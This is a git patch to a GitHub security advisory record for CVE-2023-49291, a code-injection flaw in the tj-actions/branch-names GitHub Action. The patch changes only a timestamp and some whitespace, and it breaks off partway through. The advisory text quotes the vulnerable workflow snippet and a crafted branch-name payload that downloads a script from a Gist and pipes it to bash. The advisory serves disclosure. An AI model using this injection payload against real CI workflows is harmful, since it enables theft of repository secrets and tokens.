From 75adb2301b83fb52ac0303066b7603d2d829ea03 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Wed, 6 Dec 2023 20:49:55 +0000 Subject: [PATCH] Publish GHSA-8v8w-v8xg-79rf --- .../2023/12/GHSA-8v8w-v8xg-79rf/GHSA-8v8w-v8xg-79rf.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/advisories/github-reviewed/2023/12/GHSA-8v8w-v8xg-79rf/GHSA-8v8w-v8xg-79rf.json b/advisories/github-reviewed/2023/12/GHSA-8v8w-v8xg-79rf/GHSA-8v8w-v8xg-79rf.json index 2d1628653a5..fc38ec0c2f6 100644 --- a/advisories/github-reviewed/2023/12/GHSA-8v8w-v8xg-79rf/GHSA-8v8w-v8xg-79rf.json +++ b/advisories/github-reviewed/2023/12/GHSA-8v8w-v8xg-79rf/GHSA-8v8w-v8xg-79rf.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-8v8w-v8xg-79rf", - "modified": "2023-12-05T23:30:10Z", + "modified": "2023-12-06T20:48:41Z", "published": "2023-12-05T23:30:10Z", "aliases": [ "CVE-2023-49291" ], "summary": "tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection", - "details": "### Summary\n\nThe `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.\n\n### Details\n\nThe vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable.\n\n```yml\nruns:\n using: \"composite\"\n steps:\n - id: branch\n run: |\n # \"Set branch names...\"\n if [[ \"${{ github.ref }}\" != \"refs/tags/\"* ]]; then\n BASE_REF=$(printf \"%q\" \"${{ github.event.pull_request.base.ref || github.base_ref }}\")\n HEAD_REF=$(printf \"%q\" \"${{ github.event.pull_request.head.ref || github.head_ref }}\")\n REF=$(printf \"%q\" \"${{ github.ref }}\")\n```\n\nAn attacker can use a branch name to inject arbitrary code, for example: `Test\")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$(\"foo` will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.\n\n### Impact\nAn attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions.\n\n### Reference\n- https://securitylab.github.com/research/github-actions-untrusted-input\n", + "details": "### Summary\n\nThe `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.\n\n### Details \n\nThe vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable.\n\n```yml\nruns:\n using: \"composite\"\n steps:\n - id: branch\n run: |\n # \"Set branch names...\"\n if [[ \"${{ github.ref }}\" != \"refs/tags/\"* ]]; then\n BASE_REF=$(printf \"%q\" \"${{ github.event.pull_request.base.ref || github.base_ref }}\")\n HEAD_REF=$(printf \"%q\" \"${{ github.event.pull_request.head.ref || github.head_ref }}\")\n REF=$(printf \"%q\" \"${{ github.ref }}\")\n```\n\nAn attacker can use a branch name to inject arbitrary code, for example: `Test\")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$(\"foo` will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.\n\n### Impact\nAn attacker can use this vulnerability to steal secrets from or abuse `GITHUB_TOKEN` permissions.\n\n### Reference\n- https://securitylab.github.com/research/github-actions-untrusted-input", "severity": [ { "type": "CVSS_V3",